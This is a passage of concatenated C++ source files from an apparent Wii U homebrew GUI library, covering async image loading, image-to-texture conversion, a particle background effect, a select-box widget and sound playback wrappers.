software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _GUIIMAGEASYNC_H_ #define _GUIIMAGEASYNC_H_ #include #include "GuiImage.h" #include "system/CThread.h" #include "system/CMutex.h" #include "dynamic_libs/os_functions.h" class GuiImageAsync : public GuiImage { public: GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg); GuiImageAsync(const std::string & filename, GuiImageData * preloadImg); virtual ~GuiImageAsync(); static void clearQueue(); static void removeFromQueue(GuiImageAsync * image) { threadRemoveImage(image); } //! don't forget to LOCK GUI if using this asynchron call sigslot::signal1 imageLoaded; static void threadExit(); private: static void threadInit(); GuiImageData *imgData; std::string filename; const u8 *imgBuffer; const u32 imgBufferSize; static void guiImageAsyncThread(CThread *thread, void *arg); static void threadAddImage(GuiImageAsync* Image); static void threadRemoveImage(GuiImageAsync* Image); static std::vector imageQueue; static CThread *pThread; static CMutex * pMutex; static u32 threadRefCounter; static GuiImageAsync * pInUse; static bool bExitRequested; }; #endif /*_GUIIMAGEASYNC_H_*/ ================================================ FILE: src/gui/GuiImageData.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "GuiImageData.h" #include "system/memory.h" /** * Constructor for the GuiImageData class. */ GuiImageData::GuiImageData() { texture = NULL; sampler = NULL; memoryType = eMemTypeMEM2; } /** * Constructor for the GuiImageData class. */ GuiImageData::GuiImageData(const u8 * img, s32 imgSize, s32 textureClamp, s32 textureFormat) { texture = NULL; sampler = NULL; loadImage(img, imgSize, textureClamp, textureFormat); } /** * Destructor for the GuiImageData class. */ GuiImageData::~GuiImageData() { releaseData(); } void GuiImageData::releaseData(void) { if(texture) { if(texture->surface.image_data) { switch(memoryType) { default: case eMemTypeMEM2: free(texture->surface.image_data); break; case eMemTypeMEM1: MEM1_free(texture->surface.image_data); break; case eMemTypeMEMBucket: MEMBucket_free(texture->surface.image_data); break; } } delete texture; texture = NULL; } if(sampler) { delete sampler; sampler = NULL; } } void GuiImageData::loadImage(const u8 *img, s32 imgSize, s32 textureClamp, s32 textureFormat) { if(!img || (imgSize < 8)) return; releaseData(); gdImagePtr gdImg = 0; if (img[0] == 0xFF && img[1] == 0xD8) { //! not needed for now therefore comment out to safe ELF size //! if needed uncomment, adds 200 kb to the ELF size // IMAGE_JPEG gdImg = gdImageCreateFromJpegPtr(imgSize, (u8*) img); } else if (img[0] == 'B' && img[1] == 'M') { // IMAGE_BMP gdImg = gdImageCreateFromBmpPtr(imgSize, (u8*) img); } else if (img[0] == 0x89 && img[1] == 'P' && img[2] == 'N' && img[3] == 'G') { // IMAGE_PNG gdImg = gdImageCreateFromPngPtr(imgSize, (u8*) img); } //!This must be last since it can also intefere with outher formats else if(img[0] == 0x00) { // Try loading TGA image gdImg = gdImageCreateFromTgaPtr(imgSize, (u8*) img); } if(gdImg == 0) return; u32 width = (gdImageSX(gdImg)); u32 height = (gdImageSY(gdImg)); //! Initialize texture texture = new GX2Texture; GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); //! if this fails something went horribly wrong if(texture->surface.image_size == 0) { delete texture; texture = NULL; gdImageDestroy(gdImg); return; } //! allocate memory for the surface memoryType = eMemTypeMEM2; texture->surface.image_data = memalign(texture->surface.align, texture->surface.image_size); //! try MEM1 on failure if(!texture->surface.image_data) { memoryType = eMemTypeMEM1; texture->surface.image_data = MEM1_alloc(texture->surface.image_size, texture->surface.align); } //! try MEM bucket on failure if(!texture->surface.image_data) { memoryType = eMemTypeMEMBucket; texture->surface.image_data = MEMBucket_alloc(texture->surface.image_size, texture->surface.align); } //! check if memory is available for image if(!texture->surface.image_data) { gdImageDestroy(gdImg); delete texture; texture = NULL; return; } //! set mip map data pointer texture->surface.mip_data = NULL; //! convert image to texture switch(textureFormat) { default: case GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM: gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); break; case GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM: gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); break; } //! free memory of image as its not needed anymore gdImageDestroy(gdImg); //! invalidate the memory GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, texture->surface.image_data, texture->surface.image_size); //! initialize the sampler sampler = new GX2Sampler; GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_BILINEAR); } void GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch) { for(u32 y = 0; y < height; ++y) { for(u32 x = 0; x < width; ++x) { u32 pixel = gdImageGetPixel(gdImg, x, y); u8 a = 254 - 2*((u8)gdImageAlpha(gdImg, pixel)); if(a == 254) a++; u8 r = gdImageRed(gdImg, pixel); u8 g = gdImageGreen(gdImg, pixel); u8 b = gdImageBlue(gdImg, pixel); imgBuffer[y * pitch + x] = (r << 24) | (g << 16) | (b << 8) | (a); } } } //! TODO: figure out why this seems to not work correct yet void GuiImageData::gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch) { for(u32 y = 0; y < height; ++y) { for(u32 x = 0; x < width; ++x) { u32 pixel = gdImageGetPixel(gdImg, x, y); u8 r = gdImageRed(gdImg, pixel); u8 g = gdImageGreen(gdImg, pixel); u8 b = gdImageBlue(gdImg, pixel); imgBuffer[y * pitch + x] = ((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3); } } } ================================================ FILE: src/gui/GuiImageData.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_IMAGEDATA_H_ #define GUI_IMAGEDATA_H_ #include #include #include "dynamic_libs/gx2_functions.h" #include "system/AsyncDeleter.h" class GuiImageData : public AsyncDeleter::Element { public: //!Constructor GuiImageData(); //!\param img Image data //!\param imgSize The image size GuiImageData(const u8 * img, s32 imgSize, s32 textureClamp = GX2_TEX_CLAMP_CLAMP, s32 textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); //!Destructor virtual ~GuiImageData(); //!Load image from buffer //!\param img Image data //!\param imgSize The image size void loadImage(const u8 * img, s32 imgSize, s32 textureClamp = GX2_TEX_CLAMP_CLAMP, s32 textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM); //! getter functions const GX2Texture * getTexture() const { return texture; }; const GX2Sampler * getSampler() const { return sampler; }; //!Gets the image width //!\return image width s32 getWidth() const { if(texture) return texture->surface.width; else return 0; }; //!Gets the image height //!\return image height s32 getHeight() const { if(texture) return texture->surface.height; else return 0; }; //! release memory of the image data void releaseData(void); private: void gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch); void gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch); GX2Texture *texture; GX2Sampler *sampler; enum eMemoryTypes { eMemTypeMEM2, eMemTypeMEM1, eMemTypeMEMBucket }; u8 memoryType; }; #endif ================================================ FILE: src/gui/GuiParticleImage.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiParticleImage.h" #include "video/CVideo.h" #include "video/shaders/ColorShader.h" #define CIRCLE_VERTEX_COUNT 36 static inline f32 getRandZeroToOneF32() { return (rand() % 10000) * 0.0001f; } static inline f32 getRandMinusOneToOneF32() { return getRandZeroToOneF32() * 2.0f - 1.0f; } GuiParticleImage::GuiParticleImage(s32 w, s32 h, u32 particleCount) : GuiImage(NULL) { width = w; height = h; imgType = IMAGE_COLOR; posVertexs = (f32 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); colorVertexs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); for(u32 i = 0; i < CIRCLE_VERTEX_COUNT; i++) { posVertexs[i * 3 + 0] = cosf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT)); posVertexs[i * 3 + 1] = sinf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT)); posVertexs[i * 3 + 2] = 0.0f; colorVertexs[i * 4 + 0] = 0xff; colorVertexs[i * 4 + 1] = 0xff; colorVertexs[i * 4 + 2] = 0xff; colorVertexs[i * 4 + 3] = 0xff; } GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT); GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT); particles.resize(particleCount); for(u32 i = 0; i < particleCount; i++) { particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f; particles[i].position.y = getRandMinusOneToOneF32() * getHeight() * 0.5f; particles[i].position.z = 0.0f; particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f); particles[i].radius = getRandZeroToOneF32() * 30.0f + 60.0f; particles[i].speed = (getRandZeroToOneF32() * 0.4f) + 0.6f; particles[i].direction = getRandMinusOneToOneF32(); } } GuiParticleImage::~GuiParticleImage() { free(posVertexs); free(colorVertexs); } void GuiParticleImage::draw(CVideo *pVideo) { if(!this->isVisible()) return; f32 currScaleX = getScaleX(); f32 currScaleY = getScaleY(); positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f; scaleFactor[2] = getScaleZ(); //! add other colors intensities parameters colorIntensity[3] = getAlpha(); for(u32 i = 0; i < particles.size(); ++i) { if(particles[i].position.y > (getHeight() * 0.5f + 30.0f)) { particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f; particles[i].position.y = -getHeight() * 0.5f - 30.0f; particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f); particles[i].radius = getRandZeroToOneF32() * 30.0f + 60.0f; particles[i].speed = (getRandZeroToOneF32() * 0.4f) + 0.6f; particles[i].direction = getRandMinusOneToOneF32(); } if(particles[i].position.x < (-getWidth() * 0.5f - 50.0f)) { particles[i].position.x = -particles[i].position.x; } particles[i].direction += getRandMinusOneToOneF32() * 0.03f; particles[i].position.x += particles[i].speed * particles[i].direction; particles[i].position.y += particles[i].speed; positionOffsets[0] = (getCenterX() + particles[i].position.x) * pVideo->getWidthScaleFactor() * 2.0f; positionOffsets[1] = (getCenterY() + particles[i].position.y) * pVideo->getHeightScaleFactor() * 2.0f; scaleFactor[0] = currScaleX * particles[i].radius * pVideo->getWidthScaleFactor(); scaleFactor[1] = currScaleY * particles[i].radius * pVideo->getHeightScaleFactor(); ColorShader::instance()->setShaders(); ColorShader::instance()->setAttributeBuffer(colorVertexs, posVertexs, CIRCLE_VERTEX_COUNT); ColorShader::instance()->setAngle(0.0f); ColorShader::instance()->setOffset(positionOffsets); ColorShader::instance()->setScale(scaleFactor); ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors); ColorShader::instance()->draw(GX2_PRIMITIVE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT); } } ================================================ FILE: src/gui/GuiParticleImage.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _GUI_PARTICLE_IMAGE_H_ #define _GUI_PARTICLE_IMAGE_H_ #include "GuiImage.h" class GuiParticleImage : public GuiImage, public sigslot::has_slots<> { public: GuiParticleImage(s32 w, s32 h, u32 particleCount); virtual ~GuiParticleImage(); void draw(CVideo *pVideo); private: f32 *posVertexs; u8 *colorVertexs; typedef struct { glm::vec3 position; glm::vec4 colors; f32 radius; f32 speed; f32 direction; } Particle; std::vector particles; }; #endif // _GUI_ICON_GRID_H_ ================================================ FILE: src/gui/GuiSelectBox.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "GuiSelectBox.h" #include "GuiImage.h" #include "GuiTrigger.h" #include "GuiImageData.h" #include "utils/StringTools.h" /** * Constructor for the GuiCheckBox class. */ GuiSelectBox::GuiSelectBox(std::string caption,GuiFrame *parent) : GuiFrame(300,300,parent) ,selected(0) ,captionText(caption) ,topValueImageData(Resources::GetImageData("gameSettingsButton.png")) ,topValueImage(topValueImageData) ,topValueImageSelectedData(Resources::GetImageData("gameSettingsButtonSelected.png")) ,topValueImageSelected(topValueImageSelectedData) ,topValueButton(topValueImage.getWidth(),topValueImage.getHeight()) ,valueImageData(Resources::GetImageData("gameSettingsButtonEx.png")) ,valueSelectedImageData(Resources::GetImageData("gameSettingsButtonExSelected.png")) ,valueHighlightedImageData(Resources::GetImageData("gameSettingsButtonExHighlighted.png")) ,touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) ,wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) ,buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) ,buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true) ,buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true) ,buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true) ,DPADButtons(5,5) ,buttonClickSound(Resources::GetSound("settings_click_2.mp3")) { showValues = false; bChanged = false; bSelectedChanged = false; opened = false; topValueText.setFontSize(32); topValueText.setAlignment(ALIGN_LEFT); topValueText.setPosition(10,-7); topValueButton.setLabel(&topValueText); topValueButton.setImage(&topValueImage); topValueButton.setIconOver(&topValueImageSelected); topValueButton.setTrigger(&touchTrigger); topValueButton.setTrigger(&wpadTouchTrigger); topValueButton.setSoundClick(buttonClickSound); topValueButton.clicked.connect(this, &GuiSelectBox::OnTopValueClicked); valuesFrame.setState(STATE_HIDDEN); DPADButtons.setTrigger(&buttonBTrigger); DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonDownTrigger); DPADButtons.setTrigger(&buttonUpTrigger); DPADButtons.clicked.connect(this, &GuiSelectBox::OnDPADClick); DPADButtons.setState(STATE_DISABLE_INPUT); append(&DPADButtons); append(&valuesFrame); append(&topValueButton); showValues = false; bChanged = true; } void GuiSelectBox::OnValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < valueButtons.size(); ++i){ if(valueButtons[i].valueButton == button){ selected = i; SelectValue(i); break; } } } void GuiSelectBox::SelectValue(u32 value){ if(value < valueButtons.size()){ const wchar_t* w_text = valueButtons[value].valueButtonText->getText(); std::wstring ws(w_text); std::string text(ws.begin(), ws.end()); topValueText.setText(text.c_str()); std::string real_value = buttonToValue[valueButtons[value].valueButton]; if(real_value.compare(std::string()) == 0) real_value = ""; valueChanged(this,real_value); ShowHideValues(false); } } void GuiSelectBox::OnTopValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { ShowHideValues(!showValues); } void GuiSelectBox::ShowHideValues(bool showhide) { showValues = showhide; bChanged = true; } void GuiSelectBox::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(opened == true){ if(trigger == &buttonATrigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } SelectValue(selected); } else if(trigger == &buttonBTrigger) { if(button == &DPADButtons){ ShowHideValues(false); }else{ } }else if(trigger == &buttonUpTrigger){ if(selected > 0 ) selected--; bSelectedChanged = true; } else if(trigger == &buttonDownTrigger){ selected++; if(selected >= valueButtons.size()) selected = valueButtons.size() - 1; bSelectedChanged = true; } } } void GuiSelectBox::Init(std::map values, s32 valueID) { if((u32)valueID >= values.size()){ valueID = 0; } selected = valueID; bSelectedChanged = true; DeleteValueData(); valueButtons.resize(values.size()); s32 i = 0; f32 imgScale = 1.0f; std::map::iterator itr; for(itr = values.begin(); itr != values.end(); itr++) { if(i == valueID){ topValueText.setText(itr->first.c_str()); } valueButtons[i].valueButtonImg = new GuiImage(valueImageData); valueButtons[i].valueButtonCheckedImg = new GuiImage(valueSelectedImageData); valueButtons[i].valueButtonHighlightedImg = new GuiImage(valueHighlightedImageData); valueButtons[i].valueButton = new GuiButton(valueButtons[i].valueButtonImg->getWidth() * imgScale, valueButtons[i].valueButtonImg->getHeight() * imgScale); valueButtons[i].valueButtonText = new GuiText(itr->first.c_str(),32,glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); valueButtons[i].valueButtonText->setMaxWidth(valueButtons[i].valueButtonImg->getWidth() * imgScale - 20.0f, GuiText::WRAP); valueButtons[i].valueButtonText->setPosition(0, 0); valueButtons[i].valueButtonImg->setScale(imgScale); valueButtons[i].valueButtonCheckedImg->setScale(imgScale); valueButtons[i].valueButton->setImage(valueButtons[i].valueButtonImg); valueButtons[i].valueButton->setIconOver(valueButtons[i].valueButtonHighlightedImg); valueButtons[i].valueButton->setTrigger(&touchTrigger); valueButtons[i].valueButton->setTrigger(&wpadTouchTrigger); valueButtons[i].valueButton->clicked.connect(this,&GuiSelectBox::OnValueClicked); valueButtons[i].valueButton->setSoundClick(buttonClickSound); valueButtons[i].valueButton->setLabel(valueButtons[i].valueButtonText); //valueButtons[i].valueButton->setState(STATE_HIDDEN); //Wont get disabled soon enough buttonToValue[valueButtons[i].valueButton] = itr->second; s32 ypos = (((valueButtons[i].valueButtonImg->getHeight()*getScale()) * (i))+ (topValueImage.getHeight()-5)*getScale())*-1.0f; valueButtons[i].valueButton->setPosition(0, ypos); valuesFrame.append(valueButtons[i].valueButton); i++; } //Collapse the thing! showValues = false; bChanged = true; } void GuiSelectBox::DeleteValueData() { for(u32 i = 0; i < valueButtons.size(); ++i) { valuesFrame.remove(valueButtons[i].valueButton); delete valueButtons[i].valueButtonImg; delete valueButtons[i].valueButtonCheckedImg; delete valueButtons[i].valueButtonHighlightedImg; delete valueButtons[i].valueButton; delete valueButtons[i].valueButtonText; } buttonToValue.clear(); valueButtons.clear(); } /** * Destructor for the GuiButton class. */ GuiSelectBox::~GuiSelectBox() { DeleteValueData(); bChanged = false; selected = 0; showValues = false; Resources::RemoveSound(buttonClickSound); Resources::RemoveImageData(topValueImageData); Resources::RemoveImageData(topValueImageSelectedData); Resources::RemoveImageData(valueImageData); Resources::RemoveImageData(valueHighlightedImageData); Resources::RemoveImageData(valueSelectedImageData); } void GuiSelectBox::setState(s32 s, s32 c) { GuiElement::setState(s, c); } void GuiSelectBox::OnValueCloseEffectFinish(GuiElement *element) { valuesFrame.effectFinished.disconnect(this); } f32 GuiSelectBox::getTopValueHeight() { return topValueImage.getHeight(); } f32 GuiSelectBox::getTopValueWidth() { return topValueImage.getWidth(); } f32 GuiSelectBox::getHeight(){ return getTopValueHeight(); } f32 GuiSelectBox::getWidth(){ return getTopValueWidth(); } void GuiSelectBox::OnValueOpenEffectFinish(GuiElement *element) { valuesFrame.effectFinished.disconnect(this); opened = true; } void GuiSelectBox::update(GuiController * c){ if(bChanged){ showhide(this,showValues); if(showValues){ for(u32 i = 0; i < valueButtons.size(); ++i){ //TODO: only set when it really changed if(i == selected){ valueButtons[i].valueButton->setImage(valueButtons[i].valueButtonCheckedImg); }else{ valueButtons[i].valueButton->setImage(valueButtons[i].valueButtonImg); } } valuesFrame.clearState(STATE_HIDDEN); DPADButtons.clearState(STATE_DISABLE_INPUT); valuesFrame.setEffect(EFFECT_FADE, 10, 255); valuesFrame.effectFinished.connect(this, &GuiSelectBox::OnValueCloseEffectFinish); }else{ opened = false; valuesFrame.setState(STATE_HIDDEN); DPADButtons.setState(STATE_DISABLE_INPUT); valuesFrame.setEffect(EFFECT_FADE, -10, 0); valuesFrame.effectFinished.connect(this, &GuiSelectBox::OnValueOpenEffectFinish); } bChanged = false; } if(bSelectedChanged){ for(u32 i = 0; i < valueButtons.size(); ++i){ if(i == selected){ valueButtons[i].valueButton->setState(STATE_SELECTED); }else{ valueButtons[i].valueButton->clearState(STATE_SELECTED); } } } topValueButton.setState(getState()); GuiFrame::update(c); } ================================================ FILE: src/gui/GuiSelectBox.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_SELECTBOX_H_ #define GUI_SELECTBOX_H_ #include "Gui.h" #include "GuiImage.h" #include "GuiImageData.h" //!A simple CheckBox class GuiSelectBox : public GuiFrame, public sigslot::has_slots<> { public: //!Constructor //!\param checked Checked GuiSelectBox(std::string caption,GuiFrame *parent = 0); //!Destructor virtual ~GuiSelectBox(); sigslot::signal2 valueChanged; sigslot::signal2 showhide; void OnTopValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void Init(std::map values, s32 valueID); void setState(s32 s, s32 c = -1); virtual f32 getTopValueHeight(); virtual f32 getTopValueWidth(); virtual f32 getHeight(); virtual f32 getWidth(); protected: void DeleteValueData(); void update(GuiController * c); void OnValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnValueOpenEffectFinish(GuiElement *element); void OnValueCloseEffectFinish(GuiElement *element); void ShowHideValues(bool showhide); void SelectValue(u32 value); u32 selected; bool bChanged; bool bSelectedChanged; bool showValues; bool opened; std::string captionText; GuiFrame valuesFrame; GuiImageData *topValueImageData; GuiImage topValueImage; GuiImageData *topValueImageSelectedData; GuiImage topValueImageSelected; GuiButton topValueButton; GuiImageData * valueImageData; GuiImageData * valueSelectedImageData; GuiImageData * valueHighlightedImageData; GuiText topValueText; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonBTrigger; GuiTrigger buttonLeftTrigger; GuiTrigger buttonRightTrigger; GuiTrigger buttonUpTrigger; GuiTrigger buttonDownTrigger; GuiButton DPADButtons; GuiSound* buttonClickSound; typedef struct { GuiImage *valueButtonImg; GuiImage *valueButtonCheckedImg; GuiImage *valueButtonHighlightedImg; GuiButton *valueButton; GuiText *valueButtonText; } SelectBoxValueButton; std::map buttonToValue; std::vector valueButtons; }; #endif ================================================ FILE: src/gui/GuiSound.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiSound.h" #include "sounds/SoundHandler.hpp" #include "dynamic_libs/os_functions.h" GuiSound::GuiSound(const char * filepath) { voice = -1; Load(filepath); } GuiSound::GuiSound(const u8 * snd, s32 length) { voice = -1; Load(snd, length); } GuiSound::~GuiSound() { if(voice >= 0) { SoundHandler::instance()->RemoveDecoder(voice); } } bool GuiSound::Load(const char * filepath) { if(voice >= 0) { SoundHandler::instance()->RemoveDecoder(voice); voice = -1; } //! find next free decoder for(s32 i = 0; i < MAX_DECODERS; i++) { SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i); if(decoder == NULL) { SoundHandler::instance()->AddDecoder(i, filepath); decoder = SoundHandler::instance()->getDecoder(i); if(decoder) { voice = i; SoundHandler::instance()->ThreadSignal(); } break; } } if(voice < 0){ return false; } return true; } bool GuiSound::Load(const u8 * snd, s32 len) { if(voice >= 0) { SoundHandler::instance()->RemoveDecoder(voice); voice = -1; } if(!snd) return false; //! find next free decoder for(s32 i = 0; i < MAX_DECODERS; i++) { SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i); if(decoder == NULL) { SoundHandler::instance()->AddDecoder(i, snd, len); decoder = SoundHandler::instance()->getDecoder(i); if(decoder) { voice = i; SoundHandler::instance()->ThreadSignal(); } break; } } if(voice < 0){ return false; } return true; } void GuiSound::Play() { Stop(); Voice * v = SoundHandler::instance()->getVoice(voice); if(v) v->setState(Voice::STATE_START); } void GuiSound::Stop() { Voice * v = SoundHandler::instance()->getVoice(voice); if(v) { if((v->getState() != Voice::STATE_STOP) && (v->getState() != Voice::STATE_STOPPED)) v->setState(Voice::STATE_STOP); while(v->getState() != Voice::STATE_STOPPED) os_usleep(1000); } SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice); if(decoder) { decoder->Lock(); decoder->Rewind(); decoder->ClearBuffer(); SoundHandler::instance()->ThreadSignal(); decoder->Unlock(); } } void GuiSound::Pause() { if(!IsPlaying()) return; Voice * v = SoundHandler::instance()->getVoice(voice); if(v) v->setState(Voice::STATE_STOP); } void GuiSound::Resume() { if(IsPlaying()) return; Voice * v = SoundHandler::instance()->getVoice(voice); if(v) v->setState(Voice::STATE_START); } bool GuiSound::IsPlaying() { Voice * v = SoundHandler::instance()->getVoice(voice); if(v){ return v->getState() == Voice::STATE_PLAYING; } return false; } void GuiSound::SetVolume(u32 vol) { if(vol > 100) vol = 100; u32 volumeConv = ( (0x8000 * vol) / 100 ) << 16; Voice * v = SoundHandler::instance()->getVoice(voice); if(v) v->setVolume(volumeConv); } void GuiSound::SetLoop(bool l) { SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice); if(decoder) decoder->SetLoop(l); } void GuiSound::Rewind() { Stop(); } ================================================ FILE: src/gui/GuiSound.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_SOUND_H_ #define GUI_SOUND_H_ #include #include "system/AsyncDeleter.h" //!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc class GuiSound : public AsyncDeleter::Element { public: //!Constructor //!\param sound Pointer to the sound data //!\param filesize Length of sound data GuiSound(const char * filepath); GuiSound(const u8 * sound, s32 length); //!Destructor virtual ~GuiSound(); //!Load a file and replace the old one bool Load(const char * filepath); //!Load a file and replace the old one bool Load(const u8 * snd, s32 len); //!Start sound playback void Play(); //!Stop sound playback void Stop(); //!Pause sound playback void Pause(); //!Resume sound playback void Resume(); //!Checks if the sound is currently playing //!\return true if sound is playing, false otherwise bool IsPlaying(); //!Rewind the music void Rewind(); 